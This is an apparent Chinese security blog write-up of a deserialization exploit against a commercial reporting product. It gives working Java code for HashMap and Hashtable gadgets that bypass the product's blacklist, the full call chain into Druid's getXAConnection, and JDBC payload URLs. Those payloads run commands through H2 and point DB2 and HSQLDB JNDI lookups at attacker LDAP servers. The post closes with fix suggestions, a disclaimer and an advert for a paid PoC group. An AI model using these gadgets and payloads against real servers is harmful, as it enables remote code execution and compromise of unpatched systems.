某报表玩坏的反序列化漏洞

某报表玩坏的反序列化漏洞

uname 黑伞安全 2024-08-20 16:36

起因

某次护网应急响应,发现了最新版的某报表的被打掉了,日记记录channel触发的反序列化进行攻击的,和springkill大哥一起愉快调试两天了,想着已经玩了一个多月,差不多见光死了,就和大家分享下得了。

历史漏洞

某报表channel反序列化漏洞历史爆出三个链子,一个cb, 一个singobject的二次反序列,,一个Hibernate。
下载最新版v10(当时是5月),查找黑名单

com/fr/serialization/blacklist.txt


**com.fr.third.alibaba.druid.pool.xa.DruidXADataSource

这边直接去找getter触发,找DruidXADataSource这个类非常合适,且不在黑名单里面。
这个类可以控制sql库的服务, 链接url,以及查询语句,很容易就能想到利用druid去打jdbc。

可以看见没啥毛病。

既然打jdbc,就很多都能打了,实战中还得看服务器存在哪些数据库依赖。

可以参考su18的 https://su18.org/post/jdbc-connection-url-attack/。

既然要用getter去触发,也不在黑名单里面,这样找找,发现fastjson, jackson的原生序列化就很合适。

com.fr.json.JSONArray#toString

在这个类的tostring, 会调用到

com.fr.json.revise.EmbedJson#encode

它里面会调用jackson的序列化, list直接反射修改为druid,从而触发druid的getXAConnection()。也就是只用了om.fr.json.JSONArray然后内部调用,直接就绕过jackson的黑名单太酷了。

两条jdk原生tostring

现在公开触发tostring的头部基本都在黑名单了。

所以现在需要找一条新的tostring。

javax.swing.UIDefaults.TextAndMnemonicHashMap

可以看到是map,然后调用了key的tostring,非常完美。

java.util.AbstractMap#equals

m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理。

java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了, hashmap,hashtable都可以。

hashtable触发tostring

public static Hashtable makeTableTstring(Object o) throws Exception{Map tHashMap1=(Map)createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");Map tHashMap2=(Map)createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");tHashMap1.put(o,"yy");tHashMap2.put(o,"zZ");setFieldValue(tHashMap1,"loadFactor",1);setFieldValue(tHashMap2,"loadFactor",1);Hashtable hashtable= new Hashtable();hashtable.put(tHashMap1,1);hashtable.put(tHashMap2,1);tHashMap1.put(o, null);tHashMap2.put(o, null); return hashtable;

hashmap 触发 tostring

public static HashMap maskmapToString( Object o1,  Object o2) throws Exception{
Map tHashMap1=(Map) 
createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2=(Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
 tHashMap1.put(o1,null);
 tHashMap2.put(o2,null);
 setFieldValue(tHashMap1,"loadFactor",1);
 setFieldValue(tHashMap2,"loadFactor",1);
 HashMap hashMap= new HashMap();
 Class node= Class.forName("java.util.HashMap$Node");
 Constructor constructor= node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
 constructor.setAccessible(true);
 Object node1= constructor.newInstance(0, tHashMap1, null, null);
 Object node2= constructor.newInstance(0, tHashMap2, null, null);
 Field key= node.getDeclaredField("key");
 Field modifiers= Field.class.getDeclaredField("modifiers");
 modifiers.setAccessible(true);
 modifiers.setInt(key, key.getModifiers()&~Modifier.FINAL);
 key.setAccessible(true);
 key.set(node1, tHashMap1);
 key.set(node2, tHashMap2);
 Field size= HashMap.class.getDeclaredField("size");
 size.setAccessible(true);
 size.set(hashMap, 2);
 Field table= HashMap.class.getDeclaredField("table");
 table.setAccessible(true);
 Object arr= Array.newInstance(node, 2);
 Array.set(arr, 0, node1);
 Array.set(arr, 1, node2);
 table.set(hashMap, arr);
 return hashMap; 
 }


一些坑点

默认包里面一些数据库是没有环境的,需要自己下载,如h2, ibm, postsql等,默认是hsqldb, 好在hsqldb可以直接调用java的public static 方法,和官方包不同,需要自己去找方法调用。默认jdk是191,也就是jndi得用高版本jdk去绕过。一般用两种方式,一种利用利用本地Class作为Reference Factory, 一种基利用LDAP返回序列化数据,触发本地Gadget。这里我是利用第二种直接本地gadget出触发

java.util.HashMap.readObject/java.util.Hashtable.readObjectjava.util.AbstractMap.equalsjavax.swing.UIDefaults$TextAndMnemonicHashMap.get com.fr.json.JSONArray.toStringcom.fr.third.fasterxml.jackson.databind.ObjectMapper.writeValueAsStringcom.fr.third.alibaba.druid.pool.xa.DruidXADataSource.getXAConnection

一些jdbc

ibm

druidDataSource.setUrl(
“jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDINam e=ldap://10.0.0.67:1389/remoteExploit8;”
);druidDataSource.setDriverClassName(
“com.ibm.db2.jcc.DB2Driver”
);

h2

druidDataSource.setUrl(“jdbc:h2:mem:test;MODE=MSSQLServer;init=
CREATE

TRIGGER
 hhhh 
BEFORE

SELECT

ON
INFORMATION_SCHEMA.CATALOGS 
AS
‘//javascript\n”+”java.lang.Runtime.getRuntime().exec(\”open.\”)’
“);

mysql

druidDataSource.setUrl(
“jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffI nterceptor&user=CommonsCollections6”
);

hsqldb

druidDataSource.setValidationQuery(“
call
\
“javax.naming.InitialContext.doLookup\”(‘ldap://10.211.55.2:4444/123’);”
);
druidDataSource.setDriverClassName(“com.fr.third.org.hsqldb.jdbcDriver”);

修复建议,黑名单增加如下

javax.swing.UIDefaults$TextAndMnemonicHashMap,
com.fr.third.alibaba.druid.pool.xa.DruidXADataSource
com.fr.third.alibaba.druid.pool.xa.DataSource
com.fr.json.JSONArray

https://help.fanruan.com/finereport/doc-view-4833.html

官方通告,升级至2024-05及之后版本。

声明

此文章仅用于教育目的。
请负责任地使用它,并且仅在您有明确测试权限的系统上使用。
滥用此 PoC 可能会导致严重后果。

如果你是一个长期主义者,欢迎加入我的知识星球,目前POC库&知识库7k star,我们一起冲,一起学。每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款。